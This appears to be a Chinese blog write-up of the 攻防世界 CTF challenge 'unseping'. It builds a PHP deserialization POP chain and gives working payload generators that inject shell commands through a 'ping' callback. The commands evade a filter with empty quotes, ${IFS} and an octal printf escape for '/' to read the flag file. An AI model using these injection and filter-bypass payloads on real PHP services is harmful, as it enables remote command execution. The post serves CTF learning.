攻防世界---unseping

攻防世界---unseping

一.题干

image-20240427090825780

二.pop链的构造

反序列化执行__wakeup魔术方法->waf函数对传入的参数进行过滤->执行__destruct魔术方法->利用call_user_func_array执行回调函数ping

三.绕过过滤

1.首先,waf函数过滤了ls命令,可以使用空变量${Z}或者''或者""绕过:

<?php
highlight_file(__FILE__);

class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

//$a = new ease("ping",array('l${Z}s'));   #这里只能使用单引号,否则php会将${Z}当成变量解析,导致无法绕过

$a = new ease("ping",array("l''s"));

echo urlencode(base64_encode((serialize($a))));

发现了一个没有后缀名的名字,猜测是目录:

image-20240427091722532

2.使用${IFS}绕过空格,列举一下该目录下的文件:

<?php
highlight_file(__FILE__);

class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));

echo urlencode(base64_encode((serialize($a))));

image-20240427092030893

3.此时遇到了一个棘手的问题,题目中过滤了"\"和"/",导致我们无法直接通过flag_1s_here/flag_831b69012c67b35f.php的方式读到flag,因此我们必须要想办法绕过"/"。

4.在网上参考了很多大佬的博客,发现可以使用八进制转义序列进行绕过,首先解释一下八进制转义序列:

image-20240427092559832

5.利用C语言的%o打印八进制序列,打印出"/"的八进制:

image-20240427092959858

6.在ubuntu下做实验:

image-20240427093037553

7.最后整理出完整的poc,成功拿到flag:

<?php
highlight_file(__FILE__);

class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));

echo urlencode(base64_encode((serialize($a))));

image-20240427093206502

posted @ 2024-05-16 21:27  dtwin  阅读(27)  评论(0编辑  收藏  举报